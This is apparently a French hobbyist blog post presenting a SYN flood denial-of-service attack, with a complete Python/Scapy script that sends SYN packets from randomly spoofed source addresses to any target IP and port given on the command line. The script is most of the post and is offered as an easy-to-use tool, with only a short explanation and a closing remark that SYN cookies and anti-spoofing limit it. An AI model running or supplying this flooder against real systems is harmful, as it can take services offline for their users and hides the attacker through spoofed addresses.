Tentative de déni de service par Syn Flood

Publié le par Satellite




Syn Flood

 

 

Le syn flood, ça fait très mal, c'est aussi l'attaque la plus simple à réaliser. Je vous renvoie sur Wikipedia ou Qui-Saura pour apprendre la théorie (et comment le créer avec Impacket). Pour ma part, je vais réaliser un flooder a l'aide du module Scapy. Je suppose que vous connaissez tout du protocole TCP/IP

Principe : Envoyer massivement des paquets SYN pour remplir la liste d'attente du serveur et empecher de nouveaux client de se connecter. Peut avoir des effet plus dévastateur sur les serveurs les moins sécurisés.



 

#-*-coding:Utf-8-*-
from random import randint
from scapy.all import *
import sys

def Generator(nb): #Création d'une série d'IP factices
    listeIP = []
    for i in range(int(nb)):
        listeIP.append(str(randint(1,255)) + '.' + str(randint(1,255)) + '.' + str(randint(1,255)) + '.' + str(randint(1,255)))
    return listeIP

 


 

Cette fonction permet de génerer une liste de nb ip aléatoires que nous allons spoofer. Bien entendu, ce processus est rudimentaire, et sera détruit facilement par les anti spoofers, via TTL par exemple.

 

Etudions le main a présent:


if __name__ == '__main__':
    if len(sys.argv) < 4:
        print 'Syntaxe : !/.py Ip_Cible ports nombre_de_paquets\nExemple : !/.py 127.0.0.1 80 1000'
        exit(0)
    target = sys.argv[1]           #On récupere les paramètres
    port = int(sys.argv[2])
    nbPaquet = int(sys.argv[3])
    print '--- Début de l\'attaque'
    for ip in Generator(nbPaquet): #On génere les IP
        send(IP(dst = target, src = ip)/TCP(dport = port,sport = randint(1,65535),flags = 'S')) #On forge les paquets sur la couche IP(ip source/dst) et sur TCP(ports sources/dst + flags
    print '--- Fin de l\'attaque'

Ainsi, on forge des paquets sur les couches IP et TCP en indiquant respectivement les IP sources et destinations et les ports sources et destinations. On n'oublie pas le flag SYN evidemment !

 

Le code final est donc :

 


#-*-coding:Utf-8-*-

#--------------------------------------------
#            Syn Flooder
# Réalisé par iZy TeH PariaH
# 21 aout 2009

# Pour python 2.6, ubuntu
#--------------------------------------------


from random import randint
from scapy.all import *
import sys

def Generator(nbPaquets): #Création d'une série d'IP factices
    listeIP = []
    for i in range(int(nbPaquets)):
        listeIP.append(str(randint(1,255)) + '.' + str(randint(1,255)) + '.' + str(randint(1,255)) + '.' + str(randint(1,255)))
    return listeIP

if __name__ == '__main__':
    if len(sys.argv) < 4:
        print 'Syntaxe : !/.py Ip_Cible ports nombre_de_paquets\nExemple : !/.py 127.0.0.1 80 1000'
        exit(0)
    target = sys.argv[1]
    port = int(sys.argv[2])
    nbPaquet = int(sys.argv[3])
    print '--- Début de l\'attaque'
    for ip in Generator(nbPaquet):
        send(IP(dst = target, src = ip)/TCP(dport = port,sport = randint(1,65535),flags = 'S'))
    print '--- Fin de l\'attaque'

 

Un petit script facile a utiliser pour commencer. Les scripts suivants seront plus interessants

 

PS : Inutile d'exprimer votre joie, ce type de Deni de service fonctionne plus difficilement a cause des systemes de sécurité, notamment les anti-spoofeurs (par exemple : TTL, cf google) ou les synCookies (cf, wikipedia).  C'est pas grave, c'est de la culture !

Publié dans Python

Pour être informé des derniers articles, inscrivez vous :
Commenter cet article